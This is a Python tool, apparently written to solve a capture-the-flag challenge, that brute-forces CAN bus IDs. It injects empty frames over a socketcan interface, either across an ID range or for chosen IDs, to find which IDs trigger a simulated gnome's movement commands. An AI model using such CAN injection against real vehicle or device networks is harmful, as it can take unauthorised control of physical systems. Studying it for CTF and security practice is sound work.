#!/usr/bin/python3
"""
CAN Bus ID Brute Forcer for Hack-a-Gnome CTF
Finds the correct CAN IDs for movement commands
"""
import can
import time
import argparse
import sys

IFACE_NAME = "gcan0"

def send_can_message(bus, can_id):
    """Sends a CAN message with the given ID."""
    message = can.Message(
        arbitration_id=can_id,
        data=[],
        is_extended_id=False
    )
    try:
        bus.send(message)
        return True
    except can.CanError as e:
        print(f"Error sending message: {e}")
        return False

def brute_force(start_id, end_id, delay, direction=None):
    """Brute force CAN IDs in the given range."""
    try:
        bus = can.interface.Bus(channel=IFACE_NAME, interface='socketcan', receive_own_messages=False)
        print(f"[+] Connected to {IFACE_NAME}")
    except OSError as e:
        print(f"[-] Error connecting to CAN interface {IFACE_NAME}: {e}")
        sys.exit(1)
    except Exception as e:
        print(f"[-] Unexpected error: {e}")
        sys.exit(1)

    print(f"[*] Brute forcing CAN IDs from 0x{start_id:03X} to 0x{end_id:03X}")
    print(f"[*] Delay: {delay} seconds between attempts")
    if direction:
        print(f"[*] Looking for: {direction} command")
    print(f"[*] Watch the gnome on the web UI for movement!")
    print("-" * 50)
    
    try:
        for can_id in range(start_id, end_id + 1):
            print(f"[*] Trying CAN ID: 0x{can_id:03X} ({can_id})")
            send_can_message(bus, can_id)
            time.sleep(delay)
    except KeyboardInterrupt:
        print(f"\n[!] Stopped at CAN ID: 0x{can_id:03X}")
        print(f"[*] To resume, use: --start 0x{can_id:03X}")
    finally:
        bus.shutdown()
        print("[*] CAN bus connection closed.")

def test_specific_ids(ids, delay, repeat=1):
    """Test specific CAN IDs."""
    try:
        bus = can.interface.Bus(channel=IFACE_NAME, interface='socketcan', receive_own_messages=False)
        print(f"[+] Connected to {IFACE_NAME}")
    except Exception as e:
        print(f"[-] Error: {e}")
        sys.exit(1)

    print(f"[*] Testing specific CAN IDs: {[hex(i) for i in ids]}")
    print(f"[*] Repeating {repeat} time(s) each")
    print("-" * 50)
    
    try:
        for _ in range(repeat):
            for can_id in ids:
                print(f"[*] Sending CAN ID: 0x{can_id:03X}")
                send_can_message(bus, can_id)
                time.sleep(delay)
    except KeyboardInterrupt:
        print("\n[!] Stopped by user")
    finally:
        bus.shutdown()
        print("[*] CAN bus connection closed.")

def main():
    parser = argparse.ArgumentParser(
        description="CAN Bus ID Brute Forcer for finding movement commands",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Brute force full range (slow)
  python3 canbus_bruteforce.py --start 0x000 --end 0xFFF
  
  # Brute force a smaller range
  python3 canbus_bruteforce.py --start 0x500 --end 0x600
  
  # Test specific IDs you suspect
  python3 canbus_bruteforce.py --test 0x500 0x501 0x502 0x503
  
  # Faster scanning (use with caution)
  python3 canbus_bruteforce.py --start 0x000 --end 0xFFF --delay 0.2
        """
    )
    
    parser.add_argument("--start", type=lambda x: int(x, 0), default=0x000,
                        help="Start CAN ID (default: 0x000)")
    parser.add_argument("--end", type=lambda x: int(x, 0), default=0xFFF,
                        help="End CAN ID (default: 0xFFF)")
    parser.add_argument("--delay", "-d", type=float, default=0.5,
                        help="Delay between attempts in seconds (default: 0.5)")
    parser.add_argument("--direction", "-D", choices=["up", "down", "left", "right"],
                        help="Direction you're looking for (just for logging)")
    parser.add_argument("--test", "-t", type=lambda x: int(x, 0), nargs="+",
                        help="Test specific CAN IDs instead of brute forcing")
    parser.add_argument("--repeat", "-r", type=int, default=1,
                        help="Repeat test IDs N times (default: 1)")
    
    args = parser.parse_args()
    
    if args.test:
        test_specific_ids(args.test, args.delay, args.repeat)
    else:
        brute_force(args.start, args.end, args.delay, args.direction)

if __name__ == "__main__":
    main()